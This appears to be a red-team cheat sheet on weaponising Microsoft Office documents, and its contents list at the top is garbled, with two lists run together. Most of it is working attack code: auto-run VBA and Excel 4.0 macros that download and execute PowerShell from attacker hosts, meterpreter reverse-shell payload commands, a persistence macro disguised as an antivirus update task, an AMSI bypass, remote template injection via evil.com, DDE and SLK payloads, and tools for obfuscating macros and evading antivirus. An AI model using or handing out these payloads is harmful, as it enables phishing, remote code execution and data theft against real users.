* [VBA Purging](#vba-purging) - [DOCM - winmgmts](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---winmgmts)
* [OfficePurge](#officepurge) - [DOCM - Macro Pack - Macro and DDE](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docmxlm---macro-pack---macro-and-dde)
* [EvilClippy](#evilclippy) - [DOCM - BadAssMacros](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---badassmacros)
* [VBA AMSI](#vba-amsi) - [DOCM - CACTUSTORCH VBA Module](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---cactustorch-vba-module)
* [VBA - Offensive Security Template](#vba---offensive-security-template) - [DOCM - MMG with Custom DL + Exec](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---mmg-with-custom-dl--exec)
* [DOCX - Template Injection](#docx---template-injection) - [VBA Obfuscation](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba-obfuscation)
* [DOCX - DDE](#docx---dde) - [VBA Purging](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba-purging)
* [References](#references) - [OfficePurge](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#officepurge)
- [EvilClippy](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#evilclippy)
## XLSM - Hot Manchego - [VBA AMSI](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba-amsi)
- [VBA - Offensive Security Template](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba---offensive-security-template)
> When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine. - [DOCX - Template Injection](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docx---template-injection)
- [DOCX - DDE](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docx---dde)
* https://github.com/FortyNorthSecurity/hot-manchego - [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#references)
```ps1
Generate CS Macro and save it to Windows as vba.txt
PS> New-Item blank.xlsm
PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs
PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt
```
## XLM - Macrome
> XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros.
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-osx-x64.zip
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-linux-x64.zip
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-win-x64.zip
```ps1
# NOTE: The payload cannot contains NULL bytes.
# Default calc
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
# Custom shellcode
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00'
msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00'
# MSF shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin
# For VBA Macro
Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop
```
When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of **VelvetSweatshop** is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003.
## XLM Excel 4.0 - SharpShooter
* https://github.com/mdsecactivebreach/SharpShooter
```powershell
# Options
-rawscfile <path> Path to raw shellcode file for stageless payloads
--scfile <path> Path to shellcode file as CSharp byte array
python SharpShooter.py --payload slk --rawscfile shellcode.bin --output test
# Creation of a VBA Macro
# creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
# Creation of an Excel 4.0 SLK Macro Enabled Document
~# /!\ The shellcode cannot contain null bytes
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o /tmp/shellcode-86.bin -b '\x00'
SharpShooter.py --payload slk --output foo --rawscfile /tmp/shellcode-86.bin --smuggle --template mcafee
```
## XLM Excel 4.0 - EXCELntDonut
* XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files.
* AMSI has no visibility into XLM macros (for now)
* Anti-virus struggles with XLM (for now)
* XLM macros can access the Win32 API (virtualalloc, createthread, ...)
1. Open an Excel Workbook.
2. Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro".
3. Open your EXCELntDonut output file in a text editor and copy everything.
4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet.
5. At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab.
6. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished".
7. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works.
8. To enable auto-execution, we need to rename cell A1* to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works.
:warning: If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1
```ps1
git clone https://github.com/FortyNorthSecurity/EXCELntDonut
-f path to file containing your C# source code (exe or dll)
-c ClassName where method that you want to call lives (dll)
-m Method containing your executable payload (dll)
-r References needed to compile your C# code (ex: -r 'System.Management')
-o output filename
--sandbox Perform basic sandbox checks.
--obfuscate Perform basic macro obfuscation.
# Fork
git clone https://github.com/d-sec-net/EXCELntDonut/blob/master/EXCELntDonut/drive.py
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x64 -out:GruntHttpX64.exe C:\Users\User\Desktop\covenSource.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x86 -out:GruntHttpX86.exe C:\Users\User\Desktop\covenSource.cs
donut.exe -a1 -o GruntHttpx86.bin GruntHttpX86.exe
donut.exe -a2 -o GruntHttpx64.bin GruntHttpX64.exe
usage: drive.py [-h] --x64bin X64BIN --x86bin X86BIN [-o OUTPUTFILE] [--sandbox] [--obfuscate]
python3 drive.py --x64bin GruntHttpx64.bin --x86bin GruntHttpx86.bin
```
XLM: https://github.com/Synzack/synzack.github.io/blob/3dd471d4f15db9e82c20e2f1391a7a598b456855/_posts/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md
## XLM Excel 4.0 - EXEC
1. Right Click to the current sheet
2. Insert a **Macro IntL MS Excel 4.0**
3. Add the `EXEC` macro
```powershell
=EXEC("poWerShell IEX(nEw-oBject nEt.webclient).DownloAdStRiNg('http://10.10.10.10:80/update.ps1')")
=halt()
```
4. Rename cell to **Auto_open**
5. Hide your macro worksheet by a right mouse click on the sheet name **Macro1** and selecting **Hide**
## DOCM - Metasploit
```ps1
use exploit/multi/fileformat/office_word_macro
set payload windows/meterpreter/reverse_http
set LHOST 10.10.10.10
set LPORT 80
set DisablePayloadHandler True
set PrependMigrate True
set FILENAME Financial2021.docm
exploit -j
```
## DOCM - Download and Execute
> Detected by Defender (AMSI)
```ps1
Sub Execute()
Dim payload
payload = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://10.10.10.10:4242/exploit');"
Call Shell(payload, vbHide)
End Sub
Sub Document_Open()
Execute
End Sub
```
## DOCM - Macro Creator
* https://github.com/Arno0x/PowerShellScripts/tree/master/MacroCreator
```ps1
# Shellcode embedded in the body of the MS-Word document, no obfuscation, no sandbox evasion:
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -d body
# Shellcode delivered over WebDAV covert channel, with obfuscation, no sandbox evasion:
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -url webdavserver.com -d webdav -o
# Scriptlet delivered over bibliography source covert channel, with obfuscation, with sandbox evasion:
C:\PS> Invoke-MacroCreator -i regsvr32.sct -t file -url 'http://my.server.com/sources.xml' -d biblio -c 'regsvr32 /u /n /s /i:regsvr32.sct scrobj.dll' -o -e
```
## DOCM - C# converted to Office VBA macro
> A message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted.
https://github.com/trustedsec/unicorn
```ps1
python unicorn.py payload.cs cs macro
```
## DOCM - VBA Wscript
> https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
```ps1
Sub parent_change()
Dim objOL
Set objOL = CreateObject("Outlook.Application")
Set shellObj = objOL.CreateObject("Wscript.Shell")
shellObj.Run("notepad.exe")
End Sub
Sub AutoOpen()
parent_change
End Sub
Sub Auto_Open()
parent_change
End Sub
```
```vb
CreateObject("WScript.Shell").Run "calc.exe"
CreateObject("WScript.Shell").Exec "notepad.exe"
```
## DOCM - VBA Shell Execute Comment
Set your command payload inside the **Comment** metadata of the document.
```vb
Sub beautifulcomment()
Dim p As DocumentProperty
For Each p In ActiveDocument.BuiltInDocumentProperties
If p.Name = "Comments" Then
Shell (p.Value)
End If
Next
End Sub
Sub AutoExec()
beautifulcomment
End Sub
Sub AutoOpen()
beautifulcomment
End Sub
```
## DOCM - VBA Spawning via svchost.exe using Scheduled Task
```ps1
Sub AutoOpen()
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Kaspersky Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\powershell.exe"
Action.Arguments = "-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)
End Sub
Rem powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
```
## DOCM - WMI COM functions
Basic WMI exec (detected by Defender) : `r = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("calc.exe", null, null, intProcessID)`
```ps1
Sub wmi_exec()
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartUp = objWMIService.Get("Win32_ProcessStartup")
Set objProc = objWMIService.Get("Win32_Process")
Set procStartConfig = objStartUp.SpawnInstance_
procStartConfig.ShowWindow = 1
objProc.Create "powershell.exe", Null, procStartConfig, intProcessID
End Sub
```
* https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
* https://labs.inquest.net/dfi/sha256/f4266788d4d1bec6aac502ddab4f7088a9840c84007efd90c5be7ecaec0ed0c2
```ps1
Sub ASR_bypass_create_child_process_rule5()
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'http://10.10.10.10/stage.ps1')", Null, objConfig, intProcessID
End Sub
Sub AutoExec()
ASR_bypass_create_child_process_rule5
End Sub
Sub AutoOpen()
ASR_bypass_create_child_process_rule5
End Sub
```
```ps1
Const ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
Set SW = GetObject("new:" & ShellWindows).Item()
SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows\System32", Null, 0
```
## DOCM/XLM - Macro Pack - Macro and DDE
> Only the community version is available online.
* [https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe)
```powershell
# Options
-G, --generate=OUTPUT_FILE_PATH. Generates a file.
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
# Execute a command
echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
# Download and execute a file
echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls
# Meterpreter reverse TCP template using MacroMeter by Cn33liz
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
# Drop and execute embedded file
macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
# Obfuscate the vba file generated by msfvenom and put result in a new vba file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
# Obfuscate Empire stager vba file and generate a MS Word document:
macro_pack.exe -f empire.vba -o -G myDoc.docm
# Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
# Execute calc.exe via Dynamic Data Exchange (DDE) attack
echo calc.exe | macro_pack.exe --dde -G calc.xslx
# Download and execute file via powershell using Dynamic Data Exchange (DDE) attack
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xsl
# PRO: Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV).
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm
# PRO: Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass AMSI and most antiviruses.
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --trojan -G hotpics.pptm
# PRO: Generate an HTA payload able to run a shellcode via Excel injection
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE --run-in-excel -o -G samples\nicepic.hta
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE -o --hta-macro --run-in-excel -G samples\my_shortcut.lnk
# PRO: XLM Injection
echo "MPPro" | macro_pack.exe -G _samples\hello.doc -t HELLO --xlm --run-in-excel
# PRO: ShellCode Exec - Heap Injection, AlternativeInjection
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=HeapInjection -G test.doc
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=AlternativeInjection --background -G test.doc
# PRO: More shellcodes
echo x86.bin | macro_pack.exe -t SHELLCODE -o -G test.pptm keep-alive
echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o autopack -G sc_auto.doc
echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls
```
## DOCM - BadAssMacros
> C# based automated Malicous Macro Generator.
* https://github.com/Inf0secRabbit/BadAssMacros
```powershell
BadAssMacros.exe -h
# Create VBA for classic shellcode injection from raw shellcode
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s classic -c <caesar_shift_value> -o <path_to_output_file>
BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt
# Create VBA for indirect shellcode injection from raw shellcode
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s indirect -o <path_to_output_file>
# List modules inside Doc/Excel file
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -l
# Purge Doc/Excel file
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -o <path_to_output_file> -m <module_name>
```
## DOCM - CACTUSTORCH VBA Module
> CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript
* https://github.com/mdsecactivebreach/CACTUSTORCH
* https://github.com/tyranid/DotNetToJScript/
* CACTUSTORCH - DotNetToJScript all the things - https://youtu.be/YiaKb8nHFSY
* CACTUSTORCH - CobaltStrike Aggressor Script Addon - https://www.youtube.com/watch?v=_pwH6a-6yAQ
1. Import **.cna** in Cobalt Strike
2. Generate a new VBA payload from the CACTUSTORCH menu
3. Download DotNetToJscript
4. Compile it
* **DotNetToJscript.exe** - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript
* **ExampleAssembly.dll** - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test"
5. Execute **DotNetToJscript.exe** and supply it with the ExampleAssembly.dll, specify the output file and the output type
```ps1
DotNetToJScript.exeExampleAssembly.dll -l vba -o test.vba -c cactusTorch
```
6. Use the generated code to replace the hardcoded binary in CactusTorch
## DOCM - MMG with Custom DL + Exec
1. Custom Download in first Macro to "C:\\Users\\Public\\beacon.exe"
2. Create a custom binary execute using MMG
3. Merge both Macro
```ps1
git clone https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
python MMG.py configs/generic-cmd.json malicious.vba
{
"description": "Generic command exec payload\nEvasion technique set to none",
"template": "templates/payloads/generic-cmd-template.vba",
"varcount": 152,
"encodingoffset": 5,
"chunksize": 180,
"encodedvars": {},
"vars": [],
"evasion": ["encoder"],
"payload": "cmd.exe /c C:\\Users\\Public\\beacon.exe"
}
```
```vb
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFileA(ByVal URL As String, ByVal DownloadPath As String) As Boolean
On Error GoTo Failed
DownloadFileA = False
'As directory must exist, this is a check
If CreateObject("Scripting.FileSystemObject").FolderExists(CreateObject("Scripting.FileSystemObject").GetParentFolderName(DownloadPath)) = False Then Exit Function
Dim returnValue As Long
returnValue = URLDownloadToFile(0, URL, DownloadPath, 0, 0)
'If return value is 0 and the file exist, then it is considered as downloaded correctly
DownloadFileA = (returnValue = 0) And (Len(Dir(DownloadPath)) > 0)
Exit Function
Failed:
End Function
Sub AutoOpen()
DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
End Sub
Sub Auto_Open()
DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
End Sub
```
## DOCM - ActiveX-based (InkPicture control, Painted event) Autorun macro
Go to **Developer tab** on ribbon `-> Insert -> More Controls -> Microsoft InkPicture Control`
```vb
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://<host>/file.exe','file.exe');Start-Process 'file.exe'", vbNormalFocus)
End Sub
```
## VBA Obfuscation
```ps1
# https://www.youtube.com/watch?v=L0DlPOLx2k0
$ git clone https://github.com/bonnetn/vba-obfuscator
$ cat example_macro/download_payload.vba | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin
```
## VBA Purging
**VBA Stomping**: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code.
:warning: VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format.
### OfficePurge
* https://github.com/fireeye/OfficePurge/releases/download/v1.0/OfficePurge.exe
```powershell
OfficePurge.exe -d word -f .\malicious.doc -m NewMacros
OfficePurge.exe -d excel -f .\payroll.xls -m Module1
OfficePurge.exe -d publisher -f .\donuts.pub -m ThisDocument
OfficePurge.exe -d word -f .\malicious.doc -l
```
### EvilClippy
> Evil Clippy uses the OpenMCDF library to manipulate CFBF files.
> Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows.
> If you want to manipulate CFBF files manually, then FlexHEX is one of the best editors for this.
```ps1
# OSX/Linux
mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
# Windows
csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc
EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc
EvilClippy.exe -s fakecode.vba -t 2013x64 macrofile.doc
# make macro code unaccessible is to mark the project as locked and unviewable: -u
# Evil Clippy can confuse pcodedmp and many other analysis tools with the -r flag.
EvilClippy.exe -r macrofile.doc
```
## VBA - Offensive Security Template
* Reverse Shell VBA - https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell/blob/main/VBA-Reverse-Shell.vba
* Process Dumper - https://github.com/JohnWoodman/VBA-Macro-Dump-Process
* RunPE - https://github.com/itm4n/VBA-RunPE
* Spoof Parent - https://github.com/py7hagoras/OfficeMacro64
* AMSI Bypass - https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba
* amsiByPassWithRTLMoveMemory - https://gist.github.com/DanShaqFu/1c57c02660b2980d4816d14379c2c4f3
* VBA macro spawning a process with a spoofed parent - https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba
## VBA - AMSI
> The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/
![](https://www.microsoft.com/security/blog/wp-content/uploads/2018/09/fig2-runtime-scanning-amsi-8-1024x482.png)
:warning: It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy).
The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro
* AMSI Trigger - https://github.com/synacktiv/AMSI-Bypass
```vb
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
Private Sub Document_Open()
Dim AmsiDLL As LongPtr
Dim AmsiScanBufferAddr As LongPtr
Dim result As Long
Dim MyByteArray(6) As Byte
Dim ArrayPointer As LongPtr
MyByteArray(0) = 184 ' 0xB8
MyByteArray(1) = 87 ' 0x57
MyByteArray(2) = 0 ' 0x00
MyByteArray(3) = 7 ' 0x07
MyByteArray(4) = 128 ' 0x80
MyByteArray(5) = 195 ' 0xC3
AmsiDLL = LoadLibrary("amsi.dll")
AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
ArrayPointer = VarPtr(MyByteArray(0))
CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
End Sub
```
## DOCX - Template Injection
:warning: Does not require "Enable Macro"
### Remote Template
1. A malicious macro is saved in a Word template .dotm file
2. Benign .docx file is created based on one of the default MS Word Document templates
3. Document from step 2 is saved as .docx
4. Document from step 3 is renamed to .zip
5. Document from step 4 gets unzipped
6. **.\word_rels\settings.xml.rels** contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>
```
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="https://evil.com/malicious.dotm" TargetMode="External"/></Relationships>
```
7. File gets zipped back up again and renamed to .docx
### Template Injections Tools
* https://github.com/JohnWoodman/remoteInjector
* https://github.com/ryhanson/phishery
```ps1
$ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
[+] Opening Word document: good.docx
[+] Setting Word document template to: https://secure.site.local/docs
[+] Saving injected Word document to: bad.docx
[*] Injected Word document has been saved!
```
## DOCX - DDE
* Insert > QuickPart > Field
* Right Click > Toggle Field Code
* `{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }`
## SLK - Excel
```ps1
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E
```
## References
* [VBA RunPE Part 1 - itm4n](https://itm4n.github.io/vba-runpe-part1/)
* [VBA RunPE Part 2 - itm4n](https://itm4n.github.io/vba-runpe-part2/)
* [Office VBA AMSI Parting the veil on malicious macros - Microsoft](https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/)
* [Bypassing AMSI fro VBA - Outflank](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/)
* [Evil Clippy MS Office Maldoc Assistant - Outflank](https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/)
* [Old schoold evil execl 4.0 macros XLM - Outflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/)
* [Excel 4 Macro Generator x86/x64 - bytecod3r](https://bytecod3r.io/excel-4-macro-generator-x86-x64/)
* [VBad - Pepitoh](https://github.com/Pepitoh/VBad)
* [Excel 4.0 Macro Function Reference PDF](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf)
* [Excel 4.0 Macros so hot right now - SneekyMonkey](https://www.sneakymonkey.net/2020/06/22/excel-4-0-macros-so-hot-right-now/)
* [Macros and more with sharpshooter v2.0 - mdsec](https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/)
* [Further evasion in the forgotten corners of ms xls - malware.pizza](https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/)
* [Excel 4.0 macro old but new - fsx30](https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9)
* [XLS 4.0 macros and covenant - d-sec](https://d-sec.net/2020/10/24/xls-4-0-macros-and-covenant/)
* [Inject macro from a remote dotm template - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros)
* [Phishinh with OLE - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk)
* [Phishing SLK - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel)bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships)
* [PropertyBomb an old new technique for arbitrary code execution in vba macro - Leon Berlin - 22 May 2018](https://www.bitdam.com/2018/05/22/propertybomb-an-old-new-technique-for-arbitrary-code-execution-in-vba-macro/)
* [AMSI in the heap - rmdavy](https://secureyourit.co.uk/wp/2020/04/17/amsi-in-the-heap/)
* [WordAMSIBypass - rmdavy](https://github.com/rmdavy/WordAmsiBypass)
* [Dechaining macros and evading EDR - Noora Hyvärinen](https://blog.f-secure.com/dechaining-macros-and-evading-edr/)
